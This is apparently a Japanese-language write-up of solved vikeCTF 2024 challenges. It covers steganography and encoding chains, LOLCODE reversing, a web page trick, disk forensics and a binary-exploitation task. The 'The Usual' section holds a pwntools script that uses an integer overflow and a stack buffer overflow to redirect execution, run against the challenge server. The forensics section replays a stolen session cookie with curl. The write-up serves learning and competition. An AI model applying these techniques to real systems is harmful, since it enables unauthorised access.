この大会は2024/3/9 9:00(JST)～2024/3/11 9:00(JST)に開催されました。
今回もチームで参戦。結果は940点で326チーム中33位でした。
自分で解けた問題をWriteupとして書いておきます。
Code of Conduct (ADMIN)
問題にフラグが書いてあった。
vikeCTF{1_4CC3P7_7H3_C0ND1710N5}
Hidden Valor (MISC)
steghideで空パスワードで秘密情報を抽出する。
$ steghide extract -sf vikeCTF-logo.jpeg Enter passphrase: wrote extracted data to "haxor-cat.jpeg".
再びsteghideで空パスワードで秘密情報を抽出する。
$ steghide extract -sf haxor-cat.jpeg Enter passphrase: wrote extracted data to "pencil.jpeg".
さらにsteghideで空パスワードで秘密情報を抽出する。
$ steghide extract -sf pencil.jpeg Enter passphrase: wrote extracted data to "payload". $ cat payload MDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAwMTAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDExMDAwMTEgMDAxMDAwMDAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAxMDA=
以下の順にデコードする。
・base64 ・2進数 ・16進数 ・シーザー暗号
#!/usr/bin/env python3 from base64 import * import string def caesar(s, key): d = '' for c in s: code = ord(c) if c in string.ascii_uppercase: code = code - key if code < ord('A'): code += 26 elif c in string.ascii_lowercase: code = code - key if code < ord('a'): code += 26 d += chr(code) return d ct = 'MDAxMTAxMTAgMDAxMTEwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMTAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTEwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAwMTAgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMDAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAxMDEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAwMTAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMTEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAwMDAgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAwMTEgMDAxMTAxMDAgMDAxMDAwMDAgMDAxMTAxMTAgMDAxMTAwMTEgMDAxMDAwMDAgMDAxMTAxMTEgMDAxMTAxMDEgMDAxMDAwMDAgMDAxMTAxMTAgMDExMDAwMTEgMDAxMDAwMDAgMDAxMTAwMTAgMDAxMTAwMDEgMDAxMDAwMDAgMDAxMTAxMTEgMDExMDAxMDA=' msg = b64decode(ct).decode() print(msg) codes = msg.split(' ') msg = '' for code in codes: msg += chr(int(code, 2)) print(msg) codes = msg.split(' ') msg = '' for code in codes: msg += chr(int(code, 16)) print(msg) msg = caesar(msg, 13) print(msg)
実行結果は以下の通り。
00110110 00111001 00100000 00110111 00110110 00100000 00110111 00111000 00100000 00110111 00110010 00100000 00110101 00110000 00100000 00110100 00110111 00100000 00110101 00110011 00100000 00110111 01100010 00100000 00110011 00110101 00100000 00110110 00110111 00100000 00110011 00110011 00100000 00110111 00110100 00100000 00110011 00110000 00100000 00110110 00110001 00100000 00110011 00110000 00100000 00110111 00110100 00100000 00110110 00110101 00100000 00110011 00110100 00100000 00110110 00110011 00100000 00110111 00110101 00100000 00110110 01100011 00100000 00110010 00110001 00100000 00110111 01100100
69 76 78 72 50 47 53 7b 35 67 33 74 30 61 30 74 65 34 63 75 6c 21 7d
ivxrPGS{5g3t0a0te4cul!}
vikeCTF{5t3g0n0gr4phy!}
vikeCTF{5t3g0n0gr4phy!}
The Usual (MISC)
$ checksec --file the-usual [*] '/media/sf_Shared/the-usual' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Ghidraでデコンパイルする。
undefined8 main(void) { setvbuf(stdout,(char *)0x0,2,0); puts("Welcome to the flag shop!"); main_loop(); return 0; } void main_loop(void) { int iVar1; uint local_20; uint local_1c; char *local_18; uint local_10; uint local_c; local_c = 100; while( true ) { while( true ) { printf("%s",MENU); printf("Your balance is $%d\n",(ulong)local_c); local_1c = 0; local_18 = "What would you like to buy? (1-5) "; iVar1 = read_uint(&local_1c,"What would you like to buy? (1-5) "); if (((iVar1 != -1) && (local_1c != 0)) && (local_1c < 6)) break; puts("I\'m afraid we don\'t sell that"); } if (local_1c == 5) break; local_20 = 0; local_18 = "How many would you like? "; iVar1 = read_uint(&local_20,"How many would you like? "); if (iVar1 == -1) { puts("I can\'t sell that many"); } else { iVar1 = can_afford(local_c,local_20,local_1c); if (iVar1 == 0) { puts("You can\'t afford that"); } else { local_10 = 0; do { if (local_1c == 1) { local_c = local_c - 10; print_quote(); } else if (local_1c == 2) { local_c = local_c - 0x2d; print_art(); } else if (local_1c == 3) { local_c = local_c - 0x82; print_stand(); } else { if (local_1c != 4) { puts("Goodbye!"); return; } puts("Sorry, the flag is under maintenance"); } local_10 = local_10 + 1; } while (local_10 < local_20); } } } puts("Goodbye!"); return; } void print_quote(void) { puts("I see the flag! It\'s so... flappy!"); return; } void print_art(void) { puts( " (_)\n | _,--,_\n |-:\'--~\' |\n | : |\n | : _,--,_|\n |- :\'--~\'\n |\n |\n |\n |\n |\n |\n-------" ); return; } void print_stand(void) { char local_28 [32]; printf("What would you like your flag stand to say? "); fgets(local_28,300,stdin); puts( "Great! Your organic, custom-engraved flag stand will be delivered within three to six busines s weeks" ); return; } void print_flag(void) { int iVar1; FILE *__stream; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { puts("Couldn\'t find the flag!"); } else { while( true ) { iVar1 = fgetc(__stream); if ((char)iVar1 == -1) break; putchar((int)(char)iVar1); } fclose(__stream); } return; }
所持金より購入する単価×個数が小さくなれば購入できる。整数オーバーフローを狙う。
>>> (2**32 // 130) + 1 33038210
3番の「An organic, custom-engraved flag stand」を33038210個購入すると指定すれば、条件をクリアできる。さらにprint_flag関数をコールするようになっていないので、print_stand関数のBOFを利用して、print_flag関数をコールする。
#!/usr/bin/env python3 from pwn import * p = remote('35.94.129.106', 3008) elf = ELF('./the-usual') print_flag_addr = elf.symbols['print_flag'] payload = b'A' * 40 payload += p64(print_flag_addr) data = p.recvuntil(b') ').decode() print(data + '3') p.sendline(b'3') data = p.recvuntil(b'? ').decode() print(data + '33038210') p.sendline(b'33038210') data = p.recvuntil(b'? ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().decode() print(data) data = p.recvline().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to 35.94.129.106 on port 3008: Done
[*] '/media/sf_Shared/the-usual'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Welcome to the flag shop!
Please make a selection:
1: A life-altering flag-themed quote, $10
2: A hand-typed, bespoke, artist's rendition of the flag, $45
3: An organic, custom-engraved flag stand, $130
4: The flag, $20,000
5: Exit
Your balance is $100
What would you like to buy? (1-5) 3
How many would you like? 33038210
What would you like your flag stand to say? b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW\x15@\x00\x00\x00\x00\x00'
Great! Your organic, custom-engraved flag stand will be delivered within three to six business weeks
vikeCTF{B!n@ry_Xp10!7@7!0N_X64}
[*] Closed connection to 35.94.129.106 port 3008
vikeCTF{B!n@ry_Xp10!7@7!0N_X64}
Hidden Treasure (MISC)
FTK Imagerで開き、vol6/home/viktor/snap/firefox/common/.mozzila/firefox/gafhcvjb.default/cookies.dbをエクスポートする。
hostが35.94.129.106のクッキーとして以下のデータがある。
key: session value: 6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389
クッキーにこの情報を設定して、アクセスする。
$ curl -b "session=6090a4914358dc1fce139aa4e11df13009c2eda2b75d35d537706d7313237389" http://35.94.129.106:3005/ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>WINNER WINNER CHICKEN DINNER</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@picocss/pico@1/css/pico.min.css"> </head> <body> <main class="container"> <h1>vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}</h1> </main> </body> </html>
vikeCTF{sh0rtbr3@d_c1nn@m0n_br0w53r}
Program With Jokes (REVERSE)
LOLCODEというもののプログラムらしい。ネット上の情報を見て、コードを読み解いていく。
I HAS文は変数定義なので、以下のようになる。
FLAG_START = "vikeCTF{3S073riC_"
FLAG_KEY = "xxxxxxxxxx"
FLAG_END = "}"
KEY = YARN(文字列)
HALO_LOL_CATZZ = BUKKITHALO_LOL_CATZZ HAS文はよくわからないが、同じく変数定義として書き出してみる。
CHEEZBURGER = "L" KITTEH = 5 NOM = 1 MEW = "G" HOOMAN = "G" PURRITO = 7 MEOWZART = "C" CATTITUDE = "_" PAWTY = 0 MEOWTAIN = 4
以下の文で上記の定義で該当する文字を並べてみる。
BOTH SAEM KEY AN SMOOSH HALO_LOL_CATZZ'Z CHEEZBURGER HALO_LOL_CATZZ'Z PAWTY HALO_LOL_CATZZ'Z NOM HALO_LOL_CATZZ'Z MEOWZART HALO_LOL_CATZZ'Z MEOWTAIN HALO_LOL_CATZZ'Z PURRITO HALO_LOL_CATZZ'Z KITTEH HALO_LOL_CATZZ'Z CATTITUDE HALO_LOL_CATZZ'Z MEW HALO_LOL_CATZZ'Z HOOMAN MKAY, O RLY?
CHEEZBURGER: "L" PAWTY: "0" NOM: "1" MEOWZART: "C" MEOWTAIN: "4" PURRITO: "7" KITTEH: "5" CATTITUDE: "_" MEW: "G" HOOMAN: G
FLAG_KEYが"L01C475_GG"であると推測し、フラグとして結合する。
vikeCTF{3S073riC_L01C475_GG}
Ponies (WEB)
しばらくすると、あちこちに文字が表示され、何もできなくなる。curlでHTMLソースを確認する。
$ curl http://35.94.129.106:3009/ <!DOCTYPE html> <html> <head> <script id="preventions"> document.addEventListener("contextmenu", function(e) { e.preventDefault(); }); document.addEventListener("click", function(e) { var el = document.documentElement, rfs = el.requestFullscreen; if (typeof rfs != "undefined" && rfs) { rfs.call(el); } }); </script> <script type="text/javascript" src="https://browser.pony.house/js/ponybase.js"></script> <script type="text/javascript" src="https://browser.pony.house/js/browserponies.js" id="browser-ponies-script"></script> <style> .center { display: flex; justify-content: center; align-items: center; height: 100%; } .unselectable { -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .background { height: 100%; width: 100%; left: 0; right: 0; top: 0; bottom: 0; position: absolute; background: linear-gradient(124deg, #ff2400, #e81d1d, #e8b71d, #e3e81d, #1de840, #1ddde8, #2b1de8, #dd00f3, #dd00f3); background-size: 1800% 1800%; -webkit-animation: rainbow 18s ease infinite; -z-animation: rainbow 18s ease infinite; -o-animation: rainbow 18s ease infinite; animation: rainbow 18s ease infinite; } @-webkit-keyframes rainbow { 0% { background-position: 0% 82%; } 50% { background-position: 100% 19%; } 100% { background-position: 0% 82%; } } @-moz-keyframes rainbow { 0% { background-position: 0% 82%; } 50% { background-position: 100% 19%; } 100% { background-position: 0% 82%; } } @-o-keyframes rainbow { 0% { background-position: 0% 82%; } 50% { background-position: 100% 19%; } 100% { background-position: 0% 82%; } } @keyframes rainbow { 0% { background-position: 0% 82%; } 50% { background-position: 100% 19%; } 100% { background-position: 0% 82%; } } </style> </head> <body> <div class="background"> <div class="center"> <h1 class="unselectable">The flag is <code id="flag">Arriving shortly...</code> </h1> </div> </div> <script type="text/javascript"> let intervalMs = 500; let initialPonies = 500; let incrementalPonies = 100; let cfg = { baseurl: "https://browser.pony.house/", fadeDuration: 500, volume: 1, fps: 25, speed: 1, audioEnabled: false, showFps: false, showLoadProgress: false, speakProbability: 0.01, }; BrowserPonies.setBaseUrl(cfg.baseurl); BrowserPonies.loadConfig(BrowserPoniesBaseConfig); BrowserPonies.loadConfig(cfg); BrowserPonies.spawnRandom(initialPonies); BrowserPonies.start(); let counter = 0; function recursiveSpawn() { BrowserPonies.spawnRandom(incrementalPonies); if (!BrowserPonies.running()) { counter = counter + 1; document.getElementById("flag").innerHTML = "arriving shortly" + ".".repeat(counter % 4); setTimeout(recursiveSpawn, intervalMs); } else { setTimeout(() => { var tag = document.createElement("script"); tag.src = "/gag.js"; document.getElementsByTagName("head")[0].appendChild(tag); }, "7000"); } } recursiveSpawn(); </script> </body> </html>
gag.jsを見てみる。
$ curl http://35.94.129.106:3009/gag.js document.getElementById("flag").innerHTML = "vikeCTF{ponies_for_life}";
vikeCTF{ponies_for_life}
Norse Cryptogram (CRYPTOGRAPHY)
以下の順にデコードする。
・2進数 ・base64 ・base64 ・ASCIIコード ・base64 ・16進数 ・base32 ・シーザー暗号
#!/usr/bin/env python3 from base64 import * import string def caesar(s, key): d = '' for c in s: code = ord(c) if c in string.ascii_uppercase: code = code - key if code < ord('A'): code += 26 elif c in string.ascii_lowercase: code = code - key if code < ord('a'): code += 26 d += chr(code) return d with open('runicTranscript.txt', 'r') as f: codes = f.read().split(' ') msg = '' for code in codes: msg += chr(int(code, 2)) print(msg) for _ in range(2): msg = b64decode(msg).decode() print(msg) codes = msg.split(' ') msg = '' for code in codes: msg += chr(int(code)) print(msg) msg = b64decode(msg).decode() print(msg) codes = msg.split(' ') msg = '' for code in codes: msg += chr(int(code, 16)) print(msg) lines = msg.split('\n') msg = '' for line in lines: msg += line.split('|')[1] msg = b32decode(msg).decode() print(msg) msg = caesar(msg, 12) print(msg)
実行結果は以下の通り。
TnpjZ01USXlJRFkxSURFd015QTNOeUF4TWpJZ05qVWdNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjNElERXdOaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUF4TURNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzT0NBeE1EWWdPRGtnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGMzSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM09DQXhNRFlnTnpNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURnMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTROU0F4TURNZ056Z2dNVEEySURZNUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpnZ01UQTJJRFk1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemNnTVRJeUlERXdNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBNU9TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjNElERXdOaUEyT1NBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjNElEVXdJRGMzSURFd015QTNPQ0EzTVNBNE5TQXhNRE1nTnpnZ05qZ2dOek1nTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpnZ09EUWdNVEF6SURFd015QTNPQ0EzTVNBNE9TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNPQ0EzTVNBM015QXhNRE1nTnpnZ09EUWdOalVnTVRBeklEYzRJRFk0SURFd055QXhNRE1nTnpnZ09EY2dOamtnTVRBeklEYzRJRGN4SURZNUlERXdNeUEzT0NBMk9DQXhNRE1nTVRBeklEYzRJRGcwSURrNUlERXdNeUEzT0NBNE55QTJPU0F4TURNZ056Z2dOamdnTnpNZ01UQXpJRGM0SURnMElEZzFJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemNnTnpFZ05qa2dNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBMk9TQXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM055QXhNaklnT1RrZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1qSWdPRGtnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpjZ01USXlJRGs1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemdnTVRBMklEWTVJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURjeklERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01USXlJRGc1SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemdnTVRBMklEYzNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTNOeUF4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01USXlJREV3TnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTRPU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUF4TURNZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemdnTmpnZ09Ua2dNVEF6SURjNElEWTRJRGc1SURFd015QTNPQ0EyT0NBeE1EY2dNVEF6SURjNElEWTRJRGd4SURFd015QTNPQ0EyT0NBNU9TQXhNRE1nTnpnZ09EY2dOamtnTVRBeklEYzRJRFk0SURjeklERXdNeUEzT0NBNE5DQTRPU0F4TURNZ056Z2dOekVnTnpjZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Z2dPRFFnTVRBM0lERXdNeUEzT0NBMk9DQTRPU0F4TURNZ056Z2dOamdnT0RVZ01UQXpJRGM0SURnMElERXdNeUF4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzT0NBMk9DQTROU0F4TURNZ056Z2dOVEFnTnpjZ01UQXpJRGMzSURjeElEWTVJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBMk5TQXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TWpJZ056TWdNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURFd055QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ056Y2dNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTROU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjM0lERXlNaUEzTnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ056Y2dNVEF6SURjM0lERXlNaUE1T1NBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTNNeUF4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdOemNnTVRBeklEYzNJREV5TWlBNE5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09ERWdNVEF6SURjNElERXdOaUE0TlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPREVnTVRBeklEYzNJREV5TWlBMk9TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TWpJZ09EVWdNVEF6SURjM0lERXlNaUEzTnlBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNaklnT0RFZ01UQXpJRGM0SURFd05pQTJPU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1qSWdPRFVnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjNElEVXdJRGMzSURFd015QTNPQ0EyT0NBeE1EY2dNVEF6SURjM0lERXlNaUE0TlNBeE1ETWdOemdnTnpFZ09EVWdNVEF6SURjNElEWTRJRGd4SURFd015QTNPQ0EyT0NBM055QXhNRE1nTnpnZ09EUWdPREVnTVRBeklEYzNJREV5TWlBM015QXhNRE1nTnpjZ01USXlJRGs1SURFd015QTNPQ0EzTVNBM015QXhNRE1nTnpjZ01USXlJRGcxSURFd015QTNPQ0EzTVNBNE5TQXhNRE1nTnpnZ05qZ2dPREVnTVRBeklEYzRJRFk0SURZNUlERXdNeUEzT0NBNE5DQTNOeUF4TURNZ056Z2dOekVnTmprZ01UQXpJRGM0SURnMElEY3pJREV3TXlBM09DQTFNQ0EzTnlBeE1ETWdOemNnTnpFZ05qa2dNVEF6SURjM0lERXlNaUEyTlNBeE1ETWdOemNnTVRJeUlEWTFJREV3TXlBM055QXhNaklnTmpVZ01UQXpJRGMzSURFeU1pQTJOU0F4TURNZ056Y2dNVEl5SURZMUlERXdNeUEzTnlBeE1qSWdOalVnTVRBeklEYzNJREV5TWlBM055QXhNRE1nTnpjZ01USXlJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRJeUlEZ3hJREV3TXlBM055QXhNaklnT1RrZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzT0NBeE1EWWdPRFVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01USXlJRGd4SURFd015QTNOeUF4TWpJZ01UQTNJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTRNU0F4TURNZ056Y2dNVEl5SURneElERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBNE1TQXhNRE1nTnpnZ01UQTJJRGd4SURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXlNaUE0TVNBeE1ETWdOemdnTVRBMklEZ3hJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFeU1pQTNOeUF4TURNZ056Y2dNVEl5SURjM0lERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV5TWlBM055QXhNRE1nTnpjZ01USXlJRGcxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpjZ01UQTJJRFkxSURFd015QTNOeUF4TURZZ05qVWdNVEF6SURjM0lERXdOaUEyTlNBeE1ETWdOemNnTVRBMklEWTFJREV3TXlBM055QXhNRFlnTmpVZ01UQXpJRGMzSURFd05pQTJOU0F4TURNZ056Y2dNVEEySURZMUlERXdNeUEzTnlBeE1EWWdOalVnTVRBeklEYzNJREV3TmlBMk5TQXhNRE1nTnpnZ05UQWdOemNnTVRBeklEYzRJRFk0SURrNUlERXdNeUEzT0NBM01TQTROU0F4TURNZ056Z2dOamdnTVRBM0lERXdNeUEzT0NBMk9DQTRNU0F4TURNZ056Z2dOekVnT0RFZ01UQXpJRGM0SURjeElEZ3hJREV3TXlBM055QXhNaklnTnpjZ01UQXpJRGMzSURFeU1pQTROU0F4TURNZ056Z2dOVEFnTnpjZ05qRT0=
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00000010 47 46 49 44 47 5a 42 56 4c 34 59 46 45 58 33 45 |GFIDGZBVL4YFEX3E|
00000020 49 35 4e 44 43 54 32 37 4b 35 4e 44 41 53 4a 52 |I5NDCT27K5NDASJR|
00000030 47 4e 49 44 4d 4d 33 35 |GNIDMM35|
huwqOFR{d41P3d5_0R_dGZ1O_WZ0I13P63}
vikeCTF{r41D3r5_0F_rUN1C_KN0W13D63}
vikeCTF{r41D3r5_0F_rUN1C_KN0W13D63}
Deep Cover (CRYPTOGRAPHY)
quipqiupで復号する。
** Weather Report: Moscow **
Source: REDACTED
------------------------
Sunday: Periods of snow ending before morning then cloudy with 30 percent chance of flurries. Amount 2 to 4 cm. Wind up to 15 km/h. Low minus 9. Wind chill near minus 14.
Monday: Cloudy with 30 percent chance of flurries early in the morning. Clearing in the morning. Wind up to 15 km/h. High minus 5. Wind chill minus 14 in the morning and minus 9 in the afternoon.
